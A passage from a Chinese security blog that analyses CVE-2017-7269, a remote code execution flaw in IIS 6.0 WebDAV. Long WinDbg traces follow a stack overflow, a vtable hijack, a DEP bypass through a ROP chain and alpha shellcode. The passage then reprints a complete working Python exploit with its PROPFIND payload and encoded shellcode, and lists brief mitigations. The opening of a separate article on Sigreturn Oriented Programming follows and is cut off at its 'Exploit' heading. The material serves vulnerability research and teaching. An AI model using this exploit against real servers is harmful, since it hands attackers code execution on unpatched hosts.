0:009>g//执行结束ScStoragePathFromUrl函数执行返回后 Breakpoint0hit eax=00fff800ebx=0060b508ecx=00605740edx=0060c828esi=00000001edi=77bd8ef2 eip=67126c7besp=00fff79cebp=00fff7aciopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl: 67126c7bb8150d1467moveax,offsethttpext!swscanf+0x14b5(67140d15) 0:009>g Breakpoint3hit eax=00000000ebx=0060b508ecx=00002f06edx=00fff804esi=00000001edi=77bd8ef2 eip=67125484esp=00fff7c0ebp=00fffc34iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!HrCheckIfHeader+0x15e: 671254848bf0movesi,eax 0:009>dcfff804//第一次memcpy之后,覆盖到了90c的位置 00fff804003a00630069005c0065006e00700074c.:.\.i.n.e.t.p. 00fff814006200750077005c00770077006f0072u.b.\.w.w.w.r.o. 00fff8240074006f0061005c0061006100610061o.t.\.a.a.a.a.a. 00fff8340061006178636f687133776147726936a.a.hocxaw3q6irG 00fff8444b777a3975534f7048687a4f6d5456639zwKpOSuOzhHcVTm 00fff854395368455567506c3364676378454630EhS9lPgUcgd30FEx 00fff864543169526a514c584231724158507035Ri1TXLQjAr1B5pPX 00fff8746c473664546a35395443503450617752d6Gl95jT4PCTRwaP 0:009>ddfff900 00fff9005a3062725448593802020202680312c0

经过这次stack buffer overflow,这个值已经被覆盖,覆盖成了一个堆地址0x680312c0。接下来进入第二次调用。

0:009>p eax=00fff910ebx=0060b508ecx=00000410edx=00000000esi=0060d32aedi=77bd8ef2 eip=671253e2esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0xbc: 671253e2ffd7calledi{msvcrt!wcslen(77bd8ef2)} 0:009>dc60d32a 0060d32a0074006800700074002f003a006c002fh.t.t.p.:././.l. 0060d33a0063006f006c0061006f006800740073o.c.a.l.h.o.s.t. 0060d34a0062002f006200620062006200620062/.b.b.b.b.b.b.b. 0:009>p eax=0000030d

第二次获得http://localhost/bbbbb...的长度,这个长度有0x30d,非常长,但是对应保存的位置变了。

0:009>p eax=00fff800ebx=0060b508ecx=00fff800edx=000002feesi=00000000edi=77bd8ef2 eip=67125436esp=00fff7c0ebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x110: 6712543650pusheax 0:009>p eax=00fff800ebx=0060b508ecx=00fff800edx=000002feesi=00000000edi=77bd8ef2 eip=67125437esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x111: 67125437ffb5d8fcffffpushdwordptr[ebp-328h]ss:0023:00fff90c=680312c0 0:009>dcebp-328 00fff90c680312c052566c446c6d4b37585a4f58...hDlVR7KmlXOZX 00fff91c496a79504a52584f664d4150680313c0PyjIOXRJPAMf...h 00fff92c653148346e666f43436c7441680313c04H1eCofnAtlC...h 00fff93c6a41534333307052424c58666346704bCSAjRp03fXLBKpFc 0:009>dd680312c0//要用到的堆地址,这个地址会在最后用到 680312c000000000000000000000000000000000 680312d000000000000000000000000000000000 680312e000000000000000000000000000000000

可以看到,第二次利用的时候,会把ebp-328这个地方的值推入栈中,这个地方应该是stack buffer的地址,应该是个栈地址,但是现在变成了堆地址,就是由于第一次栈溢出,覆盖了这个变量。

而这个值,会作为参数传入ScStorageFromUrl函数,作为memcpy拷贝的值。

这也就解释了为什么我们在上面分析漏洞的时候,会是向堆地址拷贝,而这一次拷贝,就不需要控制长度了,因为这个地方的值已经是堆地址,再怎么覆盖,也不会覆盖到cookie。这里未来要覆盖IEcb虚表结构。从而达到漏洞利用。这样,第二次向堆地址拷贝之后,这个堆地址会覆盖到IEcb的虚表,这个虚表结构会在最后利用时引用到。

在PoC中,有一处,这个会触发漏洞利用,是在CheckIfHeader之后到达位置,在CheckIfHeader的PszToken函数判断没有<>的http url之后,break掉,之后进入lock token处理。

0:009>p eax=67140d15ebx=00fffbe8ecx=680313c0edx=0060e7b0esi=00fffc28edi=00000104 eip=67126c80esp=00fff940ebp=00fff950iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 httpext!ScStoragePathFromUrl+0x5: 67126c80e803100000callhttpext!_EH_prolog(67127c88) 0:009>kb ChildEBPRetAddrArgstoChild 00fff93c6711946900fffab400fff9a400000000httpext!ScStoragePathFromUrl+0x5 00fff950671257400060e7b000fffab400fff9a4httpext!CMethUtil::ScStoragePathFromUrl+0x18 00fffbd0664d4150680313c0653148346e666f43httpext!CParseLockTokenHeader::HrGetLockIdForPath +0x119 WARNING:FrameIPnotinanyknownmodule.Followingframesmaybewrong. 00fffc3c6711f68e0060b5080060584e800000000x664d4150 00fffc786711f7c50060c01000fffcd4671404e2httpext!CPropFindRequest::Execute+0x125

这时候对应的IEcb已经被覆盖,这样,在进入ScStoragePathFromUrl函数之后,会进入我们在漏洞分析部分提到的CheckPrefixUrl函数,这个函数中有大量的IEcb虚表虚函数引用。

0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1e: 671335f3ff5024calldwordptr[eax+24h]ds:0023:680313e4=68016082 0:009>dceax 680313c0680313c068006e4f68006e4f766a4247...hOn.hOn.hGBjv 680313d0680313c04f744257523459474b424b66...hWBtOGY4RfKBK

和大家分享了这个精妙利用,一般可能都会觉得是第二次url bbbbb的这个memcpy覆盖了关键函数导致的溢出、利用,实际上,在第一次url aaaaaa中,就已经引发了栈溢出,覆盖到了stackbuffer申请的指向栈buffer的指针,这个指针存放在栈里,用于后续调用存放虚拟路径,由于第一次栈溢出,覆盖到了这个变量导致第二次url bbbbb拷贝的时候,是向一个堆地址拷贝,这个堆地址后面的偏移中,存放着IEcb的vftable,通过覆盖虚表虚函数,在最后locktoken触发的ScStoragePathFromUrl中利用虚函数达到代码执行。

而这个过程,也是巧妙的绕过了GS的检查。


简析ROP及shellcode

这个漏洞使用了一些非常有意思的手法,一个是TK教主在13年安全会议上提到的shareduserdata,在ROP中,另一个是alpha shellcode。

首先,在前面虚函数执行之后,会先进行stack pivot,随后进入rop。

0:009>t//stackpivot!!! eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016082esp=00fff4b0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x42: 680160828be1movesp,ecx 0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016084esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x44: 680160848b08movecx,dwordptr[eax]ds:0023:680313c0=680313c0 0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016086esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x46: 680160868b4004moveax,dwordptr[eax+4]ds:0023:680313c4=68006e4f 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016089esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x49: 6801608950pusheax 0:009>p//ROPChain eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=6801608aesp=680313bcebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x4a: 6801608ac3ret 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68006e4fesp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3b: 68006e4f5epopesi 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0 eip=68006e50esp=680313c4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3c: 68006e505dpopebp 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0 eip=68006e51esp=680313c8ebp=68006e4fiopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3d: 68006e51c22000ret20h 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0 eip=68006e4fesp=680313ecebp=68006e4fiopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3b: 68006e4f5epopesi

经过一系列ROP之后,会进入KiFastSystemCall,这是利用SharedUserData bypass DEP的一环。

0:009>p eax=0000008febx=7ffe0300ecx=680313c0edx=00fff4f8esi=68031460edi=680124e3 eip=680124e3esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!HmacCheck+0x2c3: 680124e3ff23jmpdwordptr[ebx]ds:0023:7ffe0300={ntdll!KiFastSystemCall(7c8285e8)} 0:009>p eax=0000008febx=7ffe0300ecx=680313c0edx=00fff4f8esi=68031460edi=680124e3 eip=7c8285e8esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 ntdll!KiFastSystemCall: 7c8285e88bd4movedx,esp 0:009>p eax=0000008febx=7ffe0300ecx=680313c0edx=68031400esi=68031460edi=680124e3 eip=7c8285eaesp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 ntdll!KiFastSystemCall+0x2: 7c8285ea0f34sysenter 0:009>p eax=00000000ebx=7ffe0300ecx=00000001edx=ffffffffesi=68031460edi=680124e3 eip=68031460esp=68031404ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!g_pfnFree+0x1a4: 6803146056pushesi 0:009>dc68031460 6803146000560056004100590034003400340034V.V.Y.A.4.4.4.4. 68031470003400340034003400340034004100514.4.4.4.4.4.Q.A.

之后进入alpha shellcode,这时候68031460作为shareduserdata,已经具备可执行权限。

FailedtomapHeaps(error80004005) Usage:Image AllocationBase:68000000 BaseAddress:68031000 EndAddress:68032000 RegionSize:00001000 Type:01000000MEM_IMAGE State:00001000MEM_COMMIT Protect:00000040PAGE_EXECUTE_READWRITE有了可执行权限

这里由于url存入内存按照宽字节存放,因此都是以00 xx方式存放,因此不能单纯使用shellcode,而得用alpha shellcode(结尾基友用了另一种方法执行shellcode,大家可以看下),alpha shellcode会先执行一段操作。随后进入解密部分。

0:009>p eax=059003d9ebx=7ffe0300ecx=68031585edx=68031568esi=68031460edi=680124e3 eip=6803154eesp=68031400ebp=6e6f3176iopl=0nvupeingnzacponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000292 rsaenh!g_pfnFree+0x292: 6803154e41incecx 0:009>p eax=059003d9ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=6803154fesp=68031400ebp=6e6f3176iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 rsaenh!g_pfnFree+0x293: 6803154f004200addbyteptr[edx],alds:0023:68031568=e3 0:009>p eax=059003d9ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=68031552esp=68031400ebp=6e6f3176iopl=0nvupeingnznapocy cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000283 rsaenh!g_pfnFree+0x296: 680315526b0110imuleax,dwordptr[ecx],10hds:0023:68031586=00540032 0:009>p eax=05400320ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=68031555esp=68031400ebp=6e6f3176iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 rsaenh!g_pfnFree+0x299: 68031555024102addal,byteptr[ecx+2]ds:0023:68031588=54 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=68031558esp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x29c: 680315588802movbyteptr[edx],alds:0023:68031568=bc 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=6803155aesp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x29e: 6803155a42incedx 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031569esi=68031460edi=680124e3 eip=6803155besp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x29f: 6803155b803941cmpbyteptr[ecx],41hds:0023:68031586=32 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031569esi=68031460edi=680124e3 eip=6803155eesp=68031400ebp=6e6f3176iopl=0nvupeingnznapocy cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000283 rsaenh!g_pfnFree+0x2a2: 6803155e75e2jnersaenh!g_pfnFree+0x286(68031542)[br=1] 0:009>dd68031580 680315800038005900320059004d0054004a0054 68031590003100540030004d0037003100360059 680315a0003000510030003100300031004c0045 680315b0004b005300300053004c004500330053

可以看到,解密前,alpha shellcod部分,随后解密结束之后。

0:009>p eax=04d0035debx=7ffe0300ecx=68031592edx=6803156cesi=68031460edi=680124e3 eip=6803155eesp=68031400ebp=6e6f3176iopl=0nvupeingnznapecy cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000287 rsaenh!g_pfnFree+0x2a2: 6803155e75e2jnersaenh!g_pfnFree+0x286(68031542)[br=1] 0:009>bp68031560 0:009>g Breakpoint2hit eax=00000410ebx=7ffe0300ecx=680318daedx=6803163eesi=68031460edi=680124e3 eip=68031560esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!g_pfnFree+0x2a4: 68031560b8b726bfcamoveax,0CABF26B7h 0:009>dd68031580 68031580223cec9b265a2caa6a289c9c9f7c5610 6803159090a91aa39f8f9004beec89956120d015 680315a060351b2430b44661a56b0c3a4eb0584f 680315b0b3b04c0365916fd3873136689f7842bd 680315c014326fa2fcc51b10c16ae46905721746 680315d07f01c860441275935f97a1ee840f2148 680315e04fd6e669089c436523715269e474df95

shellcode已经被解密出来,随后会调用winexec,执行calc。

0:009>p eax=77ea411eebx=7ffe0300ecx=68031614edx=876f8b31esi=68031460edi=680124e3 eip=680315f9esp=680313fcebp=68031581iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x33d: 680315f951pushecx 0:009>p eax=77ea411eebx=7ffe0300ecx=68031614edx=876f8b31esi=68031460edi=680124e3 eip=680315faesp=680313f8ebp=68031581iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x33e: 680315faffe0jmpeax{kernel32!WinExec(77ea411e)} 0:009>ddesp 680313f868031614680316330000000100000000 0:009>dc68031633l2 68031633636c61636578652ecalc.exe

第二个参数是0x1,是SW_SHOWNORMAL,但由于服务无窗口,因此calc无法弹出。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

其实,这个过程可以替换成其他的shellcode,相关的shellcode替换链接可以看我的好基友LCatro的几篇文章,都非常不错。

https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

最后我想说,我在深圳,刚才和几个平时网上的好朋友吃夜宵,聊到这个漏洞,没想到在几个小时前认识的彭博士,就是这个漏洞的作者!真的没有想到,还好自己分析的这套思路和这个漏洞作者的思路相差无几,不然就被打脸了。真的很有缘!一下学到了好多。

这篇最后还是没有按时发出,不过希望能和大家一起学习!谢谢阅读!


PoC(来源网络https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py)

#------------OurpayloadsetupaROPchainbyusingtheoverflow3times.Itwilllaunchacalc.exewhichshowsthebugisreallydangerous. #writtenbyZhiniangPengandChenWu.InformationSecurityLab&SchoolofComputerScience&Engineering,SouthChinaUniversityofTechnologyGuangzhou,China #-----------Email:edwardz@foxmail.com importsocket sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('127.0.0.1',80)) pay='PROPFIND/HTTP/1.1\r\nHost:localhost\r\nContent-Length:0\r\n' pay+='If:<http://localhost/aaaaaaa' pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+='(Not<locktoken:write1>)<http://localhost/bbbbbbb' pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA' pay+=shellcode pay+='>\r\n\r\n' printpay sock.send(pay) data=sock.recv(80960) printdata sock.close

验证截图


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

临时解决办法

1.关闭WebDAV服务
2.使用相关防护设备

参考

https://github.com/edwardz246003/IIS_exploit/


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit
【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3664.html

【技术分享】Sigreturn Oriented Programming攻击简介

$
0
0
【技术分享】Sigreturn Oriented Programming攻击简介

2017-03-30 09:51:37
来源:安全客 作者:放荡不羁的娃

阅读:440次
点赞(0)
收藏





【技术分享】Sigreturn Oriented Programming攻击简介

作者:放荡不羁的娃

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

这段时间看linux kernel的信号处理时突然想到了一种利用方法——SROP(Sigreturn Oriented Programming)。记得去年在某个博客上看到过这方面的pwn题,所以我就干脆就去认真研究了一下。


Theory

在开始介绍这个利用方法前,我首先介绍一下linux的信号处理。毕竟SROP是以这个为基础的。

Linux接受到信号后的处理过程大致如下:


【技术分享】Sigreturn Oriented Programming攻击简介

首先,当由中断或异常产生时,会发出一个信号,然后会送给相关进程,此时系统切换到内核模式。再次返回到用户模式前,内核会执行do_signal()函数,最终会调用setup_frame()函数来设置用户栈。setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。

对x86来说,此数据结构为sigcontext。其定义如下:

structsigcontext{ unsignedshortgs,__gsh; unsignedshortfs,__fsh; unsignedshortes,__esh; unsignedshortds,__dsh; unsignedlongedi; unsignedlongesi; unsignedlongebp; unsignedlongesp; unsignedlongebx; unsignedlongedx; unsignedlongecx; unsignedlongeax; unsignedlongtrapno; unsignedlongerr; unsignedlongeip; unsignedshortcs,__csh; unsignedlongeflags; unsignedlongesp_at_signal; unsignedshortss,__ssh; struct_fpstate*fpstate; unsignedlongoldmask; unsignedlongcr2; };

对x86_64来说,push到栈中的是ucontext结构体。其定义如下:

structucontext{ unsignedlonguc_flags; structucontext*uc_link; stack_tuc_stack; mcontext_tuc_mcontext;/*sigcontextforx86_64*/ __sigset_tuc_sigmask; struct_libc_fpstate__fpregs_mem; }; structsigcontext{ unsignedlongr8; unsignedlongr9; unsignedlongr10; unsignedlongr11; unsignedlongr12; unsignedlongr13; unsignedlongr14; unsignedlongr15; unsignedlongrdi; unsignedlongrsi; unsignedlongrbp; unsignedlongrbx; unsignedlongrdx; unsignedlongrax; unsignedlongrcx; unsignedlongrsp; unsignedlongrip; unsignedlongeflags;/*RFLAGS*/ unsignedshortcs; unsignedshortgs; unsignedshortfs; unsignedshort__pad0; unsignedlongerr; unsignedlongtrapno; unsignedlongoldmask; unsignedlongcr2; struct_fpstate*fpstate;/*zerowhennoFPUcontext*/ unsignedlongreserved1[8]; };

当这些准备工作完成后,就开始执行由用户指定的signal function了。当执行完后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。

关于sigreturn的系统调用:

/*forx86*/ moveax,0x77 int80h /*forx86_64*/ movrax,0xf syscall

Exploit

